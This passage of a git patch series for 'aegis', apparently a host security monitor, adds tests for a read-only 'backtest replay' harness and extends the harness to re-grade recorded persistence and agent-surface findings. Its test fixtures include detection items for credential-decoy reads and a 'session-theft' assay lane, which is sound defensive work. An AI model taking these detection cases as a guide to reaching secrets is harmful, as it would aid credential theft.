2 else None) if cmd == "cauterize": return cmd_cauterize(argv[2] if len(argv) > 2 else None, diff --git a/tests/test_backtest_replay.py b/tests/test_backtest_replay.py new file mode 100644 index 0000000..02f8e01 --- /dev/null +++ b/tests/test_backtest_replay.py @@ -0,0 +1,312 @@ +"""`backtest replay` — the ground-truth harness. + +Six false-alarm batches were each measured by silence: "the queue got +shorter", which is also exactly what broken detection looks like. The store +already holds the answer key — every finding the sensors recorded, and every +incident the operator closed as noise — and nothing ever re-ran the one +through the current pipeline and scored it against the other. + +These tests pin the harness itself, on a synthetic store small enough to +reason about by hand: + + A a noise-labelled incident whose evidence the current code still + interrupts on -> re-opens + B a noise-labelled incident whose identity the operator has taught + (three benign-positive verdicts) -> does not re-open + C an attack-defined finding no incident holds -> a new interrupt + +and the properties a measurement must have to be believed: it never writes +the store it measures, it treats the learning period as OFF, it asserts its +own counts against the store (a failed assertion printed at the TOP), and a +classifier change is visible to it under --reobserve. +""" +import contextlib +import hashlib +import io +import json +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 +from conftest import PUBLISHER_TRUST, SUSPICIOUS_TRUST # noqa: E402 + +NOW = 1_790_000_000 + + +class ReplaySandbox(unittest.TestCase): + """A sandboxed LIVE store, seeded by hand. The replay reads it the way it + reads ~/.aegis/aegis.db on the operator's machine.""" + + PATHS = ("STATE_DIR", "EVENT_DB", "SEEN", "ALLOWLIST", "FINDINGS_LOG", + "BASELINE", "SELFSTATE", "RUN_LOG", "LATEST_JSON", "SIGCACHE", + "CUSTODY_FILE", "VOUCH_FILE", "VOUCH_SIGNERS", "INTENT_FILE", + "ACTION_LOG", "ASSAY_FILE") + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_replay_") + self.state = os.path.join(self.tmp, ".aegis") + os.makedirs(self.state) + self._saved = {k: getattr(aegis, k) for k in self.PATHS} + for k in self.PATHS: + if k == "STATE_DIR": + aegis.STATE_DIR = self.state + elif k == "EVENT_DB": + aegis.EVENT_DB = os.path.join(self.state, "aegis.db") + else: + setattr(aegis, k, os.path.join( + self.state, os.path.basename(self._saved[k]))) + aegis.save_json(aegis.BASELINE, {"learning_until": 0}) + aegis.init_event_store() + self._stubs = {} + + def tearDown(self): + for k, v in self._stubs.items(): + setattr(aegis, k, v) + for k, v in self._saved.items(): + setattr(aegis, k, v) + shutil.rmtree(self.tmp, ignore_errors=True) + + def stub(self, name, value): + self._stubs.setdefault(name, getattr(aegis, name)) + setattr(aegis, name, value) + + # -- fixtures --------------------------------------------------------- + @staticmethod + def process(comm, sha, **extra): + return aegis.finding( + "HIGH", "process", "Suspicious running process", "d", + "process:%s:%s:%s" % (comm, SUSPICIOUS_TRUST, sha), + case_fingerprint="process:%s" % aegis._program_subject(comm), + subject=aegis._subject("process", comm, trust=SUSPICIOUS_TRUST, + content=sha), + path=comm, trust=SUSPICIOUS_TRUST, **extra) + + @staticmethod + def event(db, f, at): + return db.execute( + "INSERT INTO events(occurred_at,observed_at,source,event_type," + "data_json) VALUES(?,?,?,?,?)", + (at, at, f["category"], "observation.finding", + json.dumps(f, sort_keys=True))).lastrowid + + @staticmethod + def incident(db, key, status, resolution, evidence, severity="HIGH", + dismissed=None): + at = NOW - 86400 + iid = db.execute( + "INSERT INTO incidents(kind,correlation_key,title,severity,status," + "created_at,first_seen,last_seen,updated_at,resolution) " + "VALUES('signal',?,'t',?,?,?,?,?,?,?)", + (key, severity, status, at, at, at, at, resolution)).lastrowid + for ev in evidence: + db.execute("INSERT INTO incident_events(incident_id,event_id) " + "VALUES(?,?)", (iid, ev)) + if dismissed: + db.execute( + "INSERT INTO dismissals(incident_id,correlation_key," + "reason_code,category,dismissed_at) VALUES(?,?,?,?,?)", + (iid, key, dismissed, "process", at)) + return iid + + def seed(self): + """A, B and C from the module docstring. A and C share one scan (one + observed_at), B is the next scan.""" + self.comm_a = "/opt/replay-a/tool" + self.comm_b = "/opt/replay-b/tool" + db = aegis._event_connection() + with db: + a = self.process(self.comm_a, "a" * 64) + ev_a = self.event(db, a, NOW - 7200) + self.inc_a = self.incident( + db, "signal:" + a["case_fingerprint"], "FALSE_POSITIVE", + "benign-positive", [ev_a], dismissed="benign-positive") + c = aegis.finding( + "CRITICAL", "decoy", "A process is reading a credential decoy", + "d", "decoy:read:/opt/replay-decoy", path="/opt/replay-decoy") + self.event(db, c, NOW - 7200) + b = self.process(self.comm_b, "b" * 64) + ev_b = self.event(db, b, NOW - 3600) + # B's identity carries three human benign-positive verdicts, the + # acquired-tolerance floor; only the first holds in-window evidence. + for i in range(3): + key = "signal:process:%s:%s:%064x" % ( + self.comm_b, SUSPICIOUS_TRUST, i) + iid = self.incident(db, key, "FALSE_POSITIVE", + "benign-positive", + [ev_b] if i == 0 else [], + dismissed="benign-positive") + if i == 0: + self.inc_b = iid + db.close() + + def replay(self, **kw): + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_backtest_replay(now=NOW, **kw) + return rc, out.getvalue() + + +class TheCorpusIsScoredAgainstTheLabels(ReplaySandbox): + def test_noise_that_still_interrupts_is_named_and_counted(self): + self.seed() + rc, out = self.replay() + self.assertEqual(0, rc, out) + self.assertIn("noise re-opened: 1 of 2", out) + self.assertIn("new interrupts from corpus: 1", out) + # ...and the new one is named, so a later step can say what it was. + self.assertRegex(out, r"signal\s+CRITICAL\s+A process is reading a " + r"credential decoy") + # A is listed by id, with the finding's title and path; B is not. + self.assertRegex(out, r"#%d\b.*Suspicious running process.*%s" + % (self.inc_a, self.comm_a)) + self.assertNotRegex(out, r"#%d\b" % self.inc_b) + + def test_per_category_counts_route_each_finding_once(self): + self.seed() + r = aegis._backtest_replay(now=NOW) + self.assertEqual(3, r["loaded"]) + self.assertEqual(2, r["batches"]) + self.assertEqual({"interrupt": 1, "digest": 1}, + {k: v for k, v in r["routes"]["process"].items() if v}) + self.assertEqual({"interrupt": 1}, + {k: v for k, v in r["routes"]["decoy"].items() if v}) + self.assertEqual([self.inc_a], sorted(r["reopened"])) + self.assertEqual({self.inc_a, self.inc_b}, set(r["noise"])) + + def test_the_learning_period_is_off_for_a_replay(self): + """A live store inside its learning window closes every non-attack + signal as `learning`, which would make the baseline read zero for a + reason that has nothing to do with the code under test.""" + self.seed() + aegis.save_json(aegis.BASELINE, {"learning_until": NOW + 30 * 86400}) + self.assertTrue(aegis._in_learning_period(NOW)) + _rc, out = self.replay() + self.assertIn("noise re-opened: 1 of 2", out) + + def test_an_empty_window_says_so(self): + _rc, out = self.replay() + self.assertIn("noise re-opened: 0 of 0", out) + self.assertIn("0 recorded finding", out) + + +class AMeasurementNeverWritesWhatItMeasures(ReplaySandbox): + def test_the_live_store_bytes_do_not_change(self): + self.seed() + + def digest(): + with open(aegis.EVENT_DB, "rb") as f: + return hashlib.sha256(f.read()).hexdigest() + + before = digest() + self.replay(reobserve=True) + self.assertEqual(before, digest()) + for ledger in (aegis.SEEN, aegis.CUSTODY_FILE, aegis.FINDINGS_LOG, + aegis.SIGCACHE): + self.assertFalse(os.path.exists(ledger), ledger) + + def test_a_rung_awarded_during_reobserve_is_not_recorded(self): + """_grade_binary appends every rung it awards to the custody ledger, + which later grading reads back. Re-observing history must not teach + the live ladder anything.""" + comm = os.path.join(self.tmp, "replay-pkg-bin") + with open(comm, "wb") as f: + f.write(b"\x00" * 16) + db = aegis._event_connection() + with db: + self.event(db, self.process(comm, "e" * 64), NOW - 3600) + db.close() + self.stub("classify_signature", lambda path: { + "trust": SUSPICIOUS_TRUST, "team": None, "authority": None}) + # The gate is not under test here and is platform-shaped (a temp dir + # is risky by a different rule on each body): hold it open. + self.stub("_exec_alert", lambda path, trust: ( + "HIGH", "running from user-writable path")) + self.stub("_package_receipt", lambda path: "brew:replay-pkg") + r = aegis._backtest_replay(now=NOW, reobserve=True) + self.assertEqual(1, r["reobserve"]["reobserved"]) + self.assertEqual(1, r["reobserve"]["custody_changed"]) + self.assertFalse(os.path.exists(aegis.CUSTODY_FILE)) + + +class TheSummaryAssertsItselfAgainstTheStore(ReplaySandbox): + def test_a_clean_run_says_what_it_verified(self): + self.seed() + _rc, out = self.replay() + self.assertNotIn("SELF-CHECK FAILED", out) + self.assertIn("_Self-check:", out) + + def test_a_dropped_row_is_reported_at_the_top(self): + """Rule 17: the loader losing a row must be the FIRST thing read.""" + self.seed() + real = aegis._replay_load_corpus + + def lossy(live, since): + rows = real(live, since) + return rows[1:] + + self.stub("_replay_load_corpus", lossy) + _rc, out = self.replay() + head = "\n".join(out.splitlines()[:3]) + self.assertIn("SELF-CHECK FAILED", head) + self.assertIn("2 finding row(s) loaded but the store holds 3", head) + + +class ReobserveMakesAClassifierFixScoreable(ReplaySandbox): + def test_a_trust_verdict_that_changed_is_patched_before_routing(self): + """A binary still on disk is asked again. Here the classifier now + vouches for it: the process sensor's own gate decides whether it + would be emitted at all, and the noise it caused no longer re-opens + (on a body whose gate keys on the signature).""" + comm = os.path.join(self.tmp, "replay-bin") + with open(comm, "wb") as f: + f.write(b"\x00" * 16) + db = aegis._event_connection() + with db: + d = self.process(comm, "d" * 64) + ev = self.event(db, d, NOW - 3600) + inc = self.incident(db, "signal:" + d["case_fingerprint"], + "FALSE_POSITIVE", "false-positive", [ev], + dismissed="false-positive") + db.close() + + _rc, plain = self.replay() + self.assertIn("noise re-opened: 1 of 1", plain) + + self.stub("classify_signature", lambda path: { + "trust": PUBLISHER_TRUST, "team": None, "authority": None}) + r = aegis._backtest_replay(now=NOW, reobserve=True) + stats = r["reobserve"] + self.assertEqual(1, stats["reobserved"]) + self.assertEqual(1, stats["trust_changed"]) + gate_closed = aegis._exec_alert(comm, PUBLISHER_TRUST) is None + self.assertEqual(1 if gate_closed else 0, stats["no_longer_emitted"]) + self.assertEqual([] if gate_closed else [inc], sorted(r["reopened"])) + + def test_a_subject_gone_from_disk_is_counted_not_guessed(self): + self.seed() + r = aegis._backtest_replay(now=NOW, reobserve=True) + self.assertEqual(0, r["reobserve"]["reobserved"]) + self.assertEqual(2, r["reobserve"]["gone"]) + + +class AssayRecallRunsThroughTheSameGate(ReplaySandbox): + def test_every_lane_is_accounted_for(self): + r = aegis._backtest_replay(now=NOW) + lanes = {row["lane"]: row for row in r["assay"]} + self.assertEqual({lid for lid, _d, _f in aegis._assay_lanes()}, + set(lanes)) + # The one lane that writes live state is refused, and says why. + self.assertEqual("not run", lanes["quarantine-roundtrip"]["status"]) + # A CRITICAL attack finding reaches the interrupt tier. + self.assertEqual("interrupt", lanes["session-theft"]["status"]) + _rc, out = self.replay() + n = sum(1 for row in r["assay"] if row["status"] == "interrupt") + self.assertIn("assay recall: %d/%d interrupt" % (n, len(lanes)), out) + + +if __name__ == "__main__": + unittest.main() From 3330ace8d01c09c6bdf6a53ab275b0493589f138 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Wed, 23 Sep 2026 10:08:06 -0700 Subject: [PATCH 07/27] The replay graded persistence as recorded, so 37 OS updates filed while the apple tier was dead still read as 37 HIGH swaps `backtest replay --reobserve` re-derived trust and custody for the four binary sensors only; persistence and agent-surface findings were routed exactly as recorded. Persistence was then the largest residue (54 interrupts), and most of it was a blind spot of the harness, not of the code: "program bytes X -> Y" findings on /bin/bash, /usr/bin/open and friends, recorded HIGH `signed-other` while `_classify_mac` could not say `apple`, which the current sensor emits as one LOW `os-vendor` OS update. A change finding is a diff, so re-observing one rebuilds the pair it was a diff of and asks the sensor itself: - persistence: the new side is the sensor's own snapshot of the item now, accepted only where it still prints what the record says it changed to; the old side is what the record says it changed from. The shape of the recorded line is found by rendering every shape `_persistence_change_detail` can print with tokens in the old-side slots, never by a parser written beside it. `check_persistence` then grades the pair: os-update, publisher-stable / relocated, payload custody, demote. Where the grade may turn on an old field no line carries (the old signer for publisher-stable, the old program bytes for relocated, the old payload path after an argv edit), it comes from the live baseline while that still holds the recorded old side; otherwise every value it could have had is tried, and two answers are reported, not guessed. - agent-surface: `diff_agent_surface` re-grades an exec target, a materialized target, or an instruction-file directive against the bytes the record names, only while they are still the bytes on disk. A new exec entry is graded on the config file's bytes, which no record carries, so it is counted and replayed as recorded. `check_persistence` grades a NEW item with no custody rung at all, and the replay reproduces that rather than inventing one. The stats line gains a "not re-derivable: N" count by reason, the dropped column covers both categories, a persistence table prints what changed (`HIGH/- -> LOW/os-vendor: N`), and the self-check asserts every finding in a re-derivable category was re-observed, gone, or counted. Also touched: tests/conftest.py registers the new macOS-only test class (SIP and the sealed system volume are the premise of an OS update). Co-Authored-By: Claude Opus 5.5 (1M context) --- aegis.py | 400 +++++++++++++++++++++- tests/conftest.py | 1 + tests/test_backtest_replay_persistence.py | 338 ++++++++++++++++++ 3 files changed, 732 insertions(+), 7 deletions(-) create mode 100644 tests/test_backtest_replay_persistence.py diff --git a/aegis.py b/aegis.py index 4a2d512..70600ad 100755 --- a/aegis.py +++ b/aegis.py @@ -28139,10 +28139,30 @@ def _iso_short(epoch_val): "replay does not make (`aegis.py assay` runs it)", } -# The binary sensors whose severity is their own trust gate graded by -# _grade_binary: the findings --reobserve can re-derive from today's answers. +# The findings --reobserve can re-derive from today's answers: the binary +# sensors whose severity is their own trust gate graded by _grade_binary, and +# the two change sensors, whose record is a diff and is re-derived by +# rebuilding the pair it was a diff of (_reobserve_persistence, +# _reobserve_agent_surface). _REOBSERVE_CATEGORIES = ("process", "net-listener", "net-beacon", - "net-outbound") + "net-outbound", "persistence", "agent-surface") + +# The persistence findings check_persistence emits from a launchd / unit / +# Run-key diff. The category's other titles come from other sensors (cron, a +# .pth hook, a removed item) and are replayed as recorded. +_REOBSERVE_PERSISTENCE_TITLES = ( + "Persistence item CHANGED", "New persistence item", + "OS program referenced by persistence items was updated") + +# What the scan stamps on a finding after its sensor returns it. A re-derived +# finding that changes shape keeps these from the record it replaces. +_REPLAY_ENVELOPE = ("ts", "presence", "idle_secs", "screen_locked", + "sensor_id") + +# The old-side fields a "program bytes" / "program" / "args" line cannot carry, +# named the way the not-re-derivable count reports them. +_REPLAY_UNRECORDED = {"authority": "signer", "sha256": "program bytes", + "script_target": "payload path"} _REPLAY_ROUTES = (ROUTE_INTERRUPT, ROUTE_DIGEST, ROUTE_SEEN, ROUTE_SILENT, "dropped") @@ -28270,16 +28290,348 @@ def _reobserve_endpoints(f): return (None,) +_REPLAY_MOVED_ON = "the item on disk no longer shows the recorded change" + + +def _reobserve_live(memo, part): + """Live state a change finding is re-derived against, read once per replay + and only when the corpus asks: the baseline FILE (never load_baseline(), + which migrates and writes) or the persistence sensor's own snapshot of the + items on disk now.""" + key = ("live", part) + if key not in memo: + if part == "baseline": + base = load_json(BASELINE, {}) + memo[key] = base if isinstance(base, dict) else {} + else: + memo[key] = snapshot_persistence() or {} + return memo[key] + + +def _reobserve_sha(memo, path): + key = ("sha", path) + if key not in memo: + memo[key] = sha256(path) + return memo[key] + + +def _persistence_line(old, rec, flags): + """The first line of the detail check_persistence prints for this change + (`flags` in _persistence_change_detail's order: program, env, args, + payload), as finding() stores it.""" + return redact_sensitive(_persistence_change_detail( + rec.get("label"), old, rec, *flags)).split("\n")[0] + + +def _persistence_recorded_change(line, rec): + """(flags, program, {field: old value as printed}) for the change `line` + records, read against the item's CURRENT record `rec`; None when no change + of `rec` prints `line`. + + Asked of the sensor's renderer rather than of a parser written beside it: + every shape _persistence_change_detail can print is rendered with a token + in each old-side slot, and the shape that matches the recorded line says + which fields changed and what each one was. Every new-side slot prints + from `rec`, so a match is also the proof that the item on disk still is + what the record says it changed TO. `program` is None, "path" or "bytes", + the renderer's two ways of printing a program change. Tokens are seven + characters because the renderer cuts a hash to twelve.""" + import itertools + tokens = (("program", "QRPLYP0"), ("sha256", "QRPLYS0"), + ("args", "QRPLYA0"), ("target_sha", "QRPLYT0"), + ("env", "QRPLYE0")) + for program, args, target, env in itertools.product( + (None, "path", "bytes"), (False, True), (False, True), + (False, True)): + if not (program or args or target or env): + continue + on = {"program": program == "path", "sha256": program == "bytes", + "args": args, "target_sha": target, "env": env} + flags = (bool(program), env, args, target) + probe = dict(rec, **{field: t for field, t in tokens if on[field]}) + pattern = re.escape(_persistence_line(probe, rec, flags)) + for field, token in tokens: + if on[field]: + # env prints as JSON, so its token arrives quoted + shown = json.dumps(token) if field == "env" else token + pattern = pattern.replace(re.escape(shown), + "(?P<%s>.*?)" % field, 1) + m = re.fullmatch(pattern, line) + if m: + return flags, program, m.groupdict() + return None + + +def _persistence_rebuilt_old(rec, program, shown): + """(old, unknown): the old side of a recorded change — `rec` with every + slot the record printed put back to what it printed — and, for each field + the grade may read that no line carries, the values it could have had.""" + old, unknown = dict(rec), {} + if program == "path": + old["program"] = shown.get("program") + unknown["sha256"] = (rec.get("sha256"), None) + elif program == "bytes": + was = shown.get("sha256") + old["sha256"] = None if was in (None, "?") else was + unknown["authority"] = (rec.get("authority"), None) + if "args" in shown: + old["args"] = None if shown["args"] == "(none)" else shown["args"] + old["args_sha256"] = None + # An argv edit may be what moved the payload, and the same script in + # another directory is the one shape `relocated` is awarded on. + tgt = rec.get("script_target") + unknown["script_target"] = (tgt, None) + ((os.path.join( + os.sep + "unrecorded", os.path.basename(tgt)),) if tgt else ()) + if "target_sha" in shown: + old["target_sha"] = shown["target_sha"] + if "env" in shown: + try: + old["env"] = (None if shown["env"] == "(none)" + else json.loads(shown["env"])) + except ValueError: + old["env"] = shown["env"] + return old, unknown + + +def _reobserve_persistence_answer(f, path, memo): + """("ok", finding) | ("dropped", None) | ("gone", None) | ("not", reason) + for one persistence record; see _reobserve_persistence.""" + import itertools + title = f["title"] + if title == "OS program referenced by persistence items was updated": + program = f.get("program") or path + sha = ((f.get("subject") or {}).get("content") + or str(f["fingerprint"]).rsplit(":", 1)[-1]) + now_sha = _reobserve_sha(memo, program) + if now_sha is None: + return "gone", None + if now_sha != sha: + return "not", _REPLAY_MOVED_ON + trust = classify_signature(program)["trust"] + if not _os_program_update( + {"program": program}, + {"program": program, "sha256": sha, "trust": trust}, + True, False, False, False): + return "not", ("no longer an OS update, and the jobs referring " + "to it are not in the record") + return "ok", dict(f, trust=trust) + rec = _reobserve_live(memo, "persistence").get(path) + if rec is None: + return "gone", None + # The two fields every persistence finding names its item by, as the + # sensor fills them in from the record. + for field, now in (("program", rec.get("program")), + ("script_target", _script_target(rec.get("args"), + rec.get("program")))): + if field in f and (f[field] or None) != (now or None): + return "not", _REPLAY_MOVED_ON + if title == "New persistence item": + # check_persistence keys a new item on its program's bytes + if f["fingerprint"] != "persistence:new:%s:%s" % ( + path, rec.get("sha256")): + return "not", _REPLAY_MOVED_ON + out = check_persistence({}, {path: rec}) + return ("ok", out[0]) if out else ("dropped", None) + line = str(f["detail"]).split("\n")[0] + found = _persistence_recorded_change(line, rec) + if found is None: + return "not", _REPLAY_MOVED_ON + flags, program, shown = found + old, unknown = _persistence_rebuilt_old(rec, program, shown) + base = (_reobserve_live(memo, "baseline").get("persistence") or {}).get(path) + if unknown and isinstance(base, dict) \ + and _persistence_line(base, rec, flags) == line: + # The baseline still holds the recorded old side: it knows the rest. + old.update((field, base.get(field)) for field in unknown) + unknown = {} + answers = {} + for values in itertools.product(*unknown.values()): + out = check_persistence( + {path: dict(old, **dict(zip(unknown, values)))}, {path: rec}) + if len(out) != 1 or (out[0]["title"] == title and + out[0]["detail"].split("\n")[0] != line): + return "not", "the rebuilt change does not reproduce the record" + g = out[0] + answers.setdefault((g["title"], g["severity"], g.get("custody"), + g["fingerprint"]), g) + if len(answers) > 1: + return "not", "the old %s is not recorded" % " / ".join( + _REPLAY_UNRECORDED[field] for field in unknown) + return "ok", next(iter(answers.values())) + + +def _reobserve_agent_surface_answer(f, memo): + """("ok", finding) | ("gone", None) | ("not", reason) for one + delegate-surface record; see _reobserve_agent_surface.""" + fp, path = str(f["fingerprint"]), f.get("path") + parts = fp.split(":", 2) + kind = parts[1] if len(parts) == 3 and parts[0] == "agent-surface" else "" + if kind == "newexec": + # custody grades the CONFIG file's bytes, which no record carries + return "not", "the config's content is not recorded" + if kind not in ("target", "materialized", "imperative", + "newfile-imperative"): + return "not", "shape not modelled: %s" % f.get("title") + prefix = "agent-surface:%s:%s:" % (kind, path) + if not path or not fp.startswith(prefix) or ":" not in fp[len(prefix):]: + return "not", "the fingerprint does not name its subject" + head, sha12 = fp[len(prefix):].rsplit(":", 1) + subject = f.get("program") if kind in ("target", "materialized") else path + if not subject: + return "not", "the record names no item" + sha = _reobserve_sha(memo, subject) + if not sha: + return "gone", None + if sha[:12] != sha12: + return "not", _REPLAY_MOVED_ON + if kind in ("imperative", "newfile-imperative"): + cur = {path: {"imperatives": head.split(","), "sha256": sha}} + runs = [({} if kind == "newfile-imperative" + else {path: {"imperatives": []}}, cur)] + else: + ent = {"cmd": head.rsplit("|", 1)[0], "args": [], "target": subject, + "target_sha": sha} + team = classify_signature(subject).get("team") + if team: + ent["target_team"] = team + if kind == "materialized": + olds = [dict(ent, target_sha=None)] + else: + # Neither the old target's bytes nor its signer is recorded. The + # sensor diffs against the baseline entry, so while that still + # holds other bytes its signer is the one the grade reads; + # otherwise both answers to "same signer?" are tried. + surface = _reobserve_live(memo, "baseline").get("agent_surface") + known = surface.get(path) if isinstance(surface, dict) else None + execs = known.get("execs") if isinstance(known, dict) else None + was = execs.get(head) if isinstance(execs, dict) else None + if isinstance(was, dict) and was.get("target_sha") \ + and was["target_sha"] != sha: + teams = (was.get("target_team"),) + else: + teams = (team, None) + olds = [dict(ent, target_sha="unrecorded", target_team=t) + for t in teams] + runs = [({path: {"execs": {head: old}}}, {path: {"execs": {head: ent}}}) + for old in olds] + answers = {} + for prior, cur in runs: + hit = [g for g in diff_agent_surface(prior, cur) + if g["fingerprint"] == fp] + if len(hit) != 1: + return "not", "the rebuilt change does not reproduce the record" + answers.setdefault((hit[0]["severity"], hit[0].get("provenance")), + hit[0]) + if len(answers) > 1: + return "not", "the old signer is not recorded" + return "ok", next(iter(answers.values())) + + +def _reobserve_apply(f, answer, stats, rung): + """`f` as the answer re-derives it, counted the way _reobserve counts its + own. `rung` is the field the sensor carries custody in.""" + kind, got = answer + if kind == "gone": + stats["gone"] += 1 + return f + if kind == "not": + reasons = stats["not_rederivable"] + reasons[got] = reasons.get(got, 0) + 1 + return f + if got is None: + g = None + elif got["title"] == f["title"]: + # The same fact re-graded: keep the record's identity, take the grade. + g = dict(f) + for field in ("severity", "trust", "custody", "provenance", "markers", + "confidence"): + if field in got: + g[field] = got[field] + if isinstance(g.get("subject"), dict) and "trust" in g["subject"]: + g["subject"] = dict(g["subject"], trust=g.get("trust")) + else: + # A different shape (a swap that is now an OS update): the current + # sensor's finding, stamped with when the record was observed. + g = dict(got, **{k: f[k] for k in _REPLAY_ENVELOPE if k in f}) + stats["reobserved"] += 1 + trust_moved = g is not None and (g.get("trust") or None) != ( + f.get("trust") or None) + stats["trust_changed"] += trust_moved + if g is None: + stats["changed"] += trust_moved + stats["no_longer_emitted"] += 1 + else: + custody_moved = (g.get(rung) or None) != (f.get(rung) or None) + stats["custody_changed"] += custody_moved + stats["changed"] += trust_moved or custody_moved + stats["severity_changed"] += g["severity"] != f["severity"] + if f["category"] == "persistence": + before = (f["severity"], f.get("custody") or None) + after = None if g is None else (g["severity"], g.get("custody") or None) + if after != before: + table = stats["persistence_changes"] + table[(before, after)] = table.get((before, after), 0) + 1 + return g + + +def _reobserve_persistence(f, memo, stats): + """`f`, a persistence finding, re-derived by check_persistence itself: + returned re-graded, None when the sensor would not emit it today, or as + recorded when the record cannot be rebuilt (counted, with the reason). + + A change finding is a diff, so this rebuilds the pair it was a diff of. + The new side is the sensor's own snapshot of the item now, accepted only + where it still prints what the record says it changed to. The old side is + what the record says it changed from. Where the grade may turn on an old + field no line carries (the old signer, for publisher-stable), it comes + from the live baseline while that still holds the recorded old side; + otherwise every value it could have had is tried, and only one answer + re-derives. Writ enforcement is not applied: it judges the moment of the + change, and a replay can only ask about now.""" + title, path = f.get("title"), f.get("path") + if title not in _REOBSERVE_PERSISTENCE_TITLES: + return _reobserve_apply( + f, ("not", "other persistence sensor: %s" % title), stats, + "custody") + if not path: + return _reobserve_apply(f, ("not", "the record names no item"), stats, + "custody") + key = ("persistence", f["fingerprint"], f.get("program"), + str(f["detail"]).split("\n")[0]) + if key not in memo: + memo[key] = _reobserve_persistence_answer(f, path, memo) + return _reobserve_apply(f, memo[key], stats, "custody") + + +def _reobserve_agent_surface(f, memo, stats): + """`f`, a delegate-surface finding, re-graded by diff_agent_surface + itself: provenance (_custody: the intent ledger, then git) is asked again + of the bytes the record names — the target's for an exec target, the + file's for an instruction file — and only while they are still the bytes + on disk. A new exec entry is graded on the CONFIG file's bytes, which no + record carries, so it is counted and replayed as recorded.""" + key = ("agent-surface", f["fingerprint"], f.get("path"), f.get("program")) + if key not in memo: + memo[key] = _reobserve_agent_surface_answer(f, memo) + return _reobserve_apply(f, memo[key], stats, "provenance") + + def _reobserve(f, memo, stats): """`f` re-observed with the CURRENT classifier and custody ladder, or None when today's sensor would not emit it; returned as recorded when it is not - a binary sensor this can re-derive, or its subject is gone from disk. + a sensor this can re-derive, or its subject is gone from disk. The two + change sensors are re-derived by _reobserve_persistence and + _reobserve_agent_surface. The classifier is asked through classify_signature, logic-versioned cache and all: a classifier change that does not bump _SIGCACHE_LOGIC_VERSION is invisible here exactly as it would be on the live install. Answers are memoized per subject, so a program seen in two hundred scans is asked once.""" category = f.get("category") + if category == "persistence": + return _reobserve_persistence(f, memo, stats) + if category == "agent-surface": + return _reobserve_agent_surface(f, memo, stats) if category not in _REOBSERVE_CATEGORIES: return f path = f.get("path") or f.get("program") @@ -28436,6 +28788,12 @@ def _backtest_replay(days=30, reobserve=False, now=None): stats = dict.fromkeys(("reobserved", "trust_changed", "custody_changed", "changed", "severity_changed", "no_longer_emitted", "gone"), 0) + # {reason: count} for findings replayed as recorded because the record + # cannot be rebuilt, and {((sev, rung), (sev, rung) or None): count} for + # what re-deriving changed on a persistence finding. + stats.update(not_rederivable={}, persistence_changes={}) + asked = sum(1 for _n, batch in batches for _i, f in batch + if f["category"] in _REOBSERVE_CATEGORIES) routes, route_of, scratch_of, folded_into, finding_of = {}, {}, {}, {}, {} seen, memo = {}, {} marks = ",".join("?" for _ in _ACTIVE_INCIDENT_STATES) @@ -28574,11 +28932,16 @@ def reopens(live_id): if len(r["assay"]) != lanes: problems.append("%d assay row(s) for %d lane(s)" % (len(r["assay"]), lanes)) + accounted = stats["reobserved"] + stats["gone"] + sum( + stats["not_rederivable"].values()) + if reobserve and accounted != asked: + problems.append("%d re-derivable finding(s) but %d re-observed, gone " + "or not re-derivable" % (asked, accounted)) r.update(loaded=len(rows), in_store=in_store, unparseable=bad, batches=len(batches), by_scan_id=by_scan_id, memory=memory, weights=weights, routes=routes, open_cases=open_cases, noise=noise, reopened=reopened, new_cases=new_cases, - replayed=replayed, lanes=lanes, + replayed=replayed, lanes=lanes, asked=asked, reobserve=stats if reobserve else None) return r @@ -28621,6 +28984,12 @@ def cmd_backtest_replay(days=30, reobserve=False, now=None): stats["custody_changed"], stats["changed"], stats["severity_changed"], stats["no_longer_emitted"], stats["gone"], ", ".join(_REOBSERVE_CATEGORIES))) + reasons = stats["not_rederivable"] + if reasons: + lines.append(" not re-derivable: %d, replayed as recorded — %s" + % (sum(reasons.values()), " · ".join( + "%s %d" % (why, reasons[why]) for why in sorted( + reasons, key=lambda k: (-reasons[k], k))))) lines.append("") routes = r["routes"] columns = _REPLAY_ROUTES if stats is not None else _REPLAY_ROUTES[:-1] @@ -28638,6 +29007,20 @@ def cmd_backtest_replay(days=30, reobserve=False, now=None): + " ".join("%9d" % bucket[c] for c in columns)) lines.append(" %-18s %8d " % ("total", sum(totals.values())) + " ".join("%9d" % totals[c] for c in columns)) + if stats is not None: + changes = stats["persistence_changes"] + + def shown(pair): + return "dropped" if pair is None else "%s/%s" % (pair[0], + pair[1] or "-") + lines.append("\nPersistence re-derived — recorded -> current code " + "(sev/custody: findings):") + for pair in sorted(changes, key=lambda p: (-changes[p], shown(p[0]), + shown(p[1]))): + lines.append(" %s -> %s: %d" % (shown(pair[0]), shown(pair[1]), + changes[pair])) + if not changes: + lines.append(" (no change)") kinds = {} for case in r["open_cases"].values(): kinds[case["kind"]] = kinds.get(case["kind"], 0) + 1 @@ -28698,9 +29081,12 @@ def cmd_backtest_replay(days=30, reobserve=False, now=None): lines.append("_Self-check: %d loaded = %d in the store; %d " "noise-labelled incident(s) = a direct query; %d " "replayed finding(s) routed once each; %d/%d assay " - "lanes accounted for._" + "lanes accounted for%s._" % (r["loaded"], r["in_store"], len(r["noise"]), - r["replayed"], len(r["assay"]), r["lanes"])) + r["replayed"], len(r["assay"]), r["lanes"], + "" if stats is None else + "; %d re-derivable finding(s) each re-observed, gone " + "or counted not re-derivable" % r["asked"])) lines.append("Read-only: the live store was opened mode=ro; nothing was " "written, notified, or learned.") print("\n".join(lines)) diff --git a/tests/conftest.py b/tests/conftest.py index 868421a..60c0066 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -339,6 +339,7 @@ def publisher_trust_for(is_win, is_linux): # SIP + the sealed system volume: an OS platform-binary update is a # macOS-shaped fact, and _os_program_update refuses off macOS by design. "OneOsUpdateIsOneFinding", "TheGuardRefusesEverythingItShould", + "AnOsUpdateRecordedAsASwapIsReobservedAsOne", )) diff --git a/tests/test_backtest_replay_persistence.py b/tests/test_backtest_replay_persistence.py new file mode 100644 index 0000000..d2f604a --- /dev/null +++ b/tests/test_backtest_replay_persistence.py @@ -0,0 +1,338 @@ +"""`backtest replay --reobserve` for persistence and the agent surface. + +S0 re-derived trust and custody 